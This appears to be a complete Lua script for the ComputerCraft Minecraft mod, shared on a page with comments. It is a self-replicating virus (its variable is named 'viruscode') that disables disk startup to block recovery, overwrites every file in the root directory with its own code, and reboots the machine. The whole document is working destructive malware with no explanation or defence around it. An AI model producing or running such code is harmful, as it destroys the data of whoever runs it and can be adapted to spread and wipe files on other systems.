settings.set("shell.allow_disk_startup", false)
settings.save(".settings")
if fs.exists("startup") == false then
local start = fs.open("startup", "w")
start.write(" ")
start.close()
end
local files = fs.list("/")
for i=1,#files do
if (files[i] == ".settings") then
else
if (fs.isDir("/"..files[i]) == false) then
local virusread = fs.open(shell.getRunningProgram(), "r")
local viruscode = virusread.readAll()
virusread.close()
local startup = fs.open("/"..files[i], "w")
startup.write(viruscode)
startup.close()
else
end
end
end
os.reboot()
Comments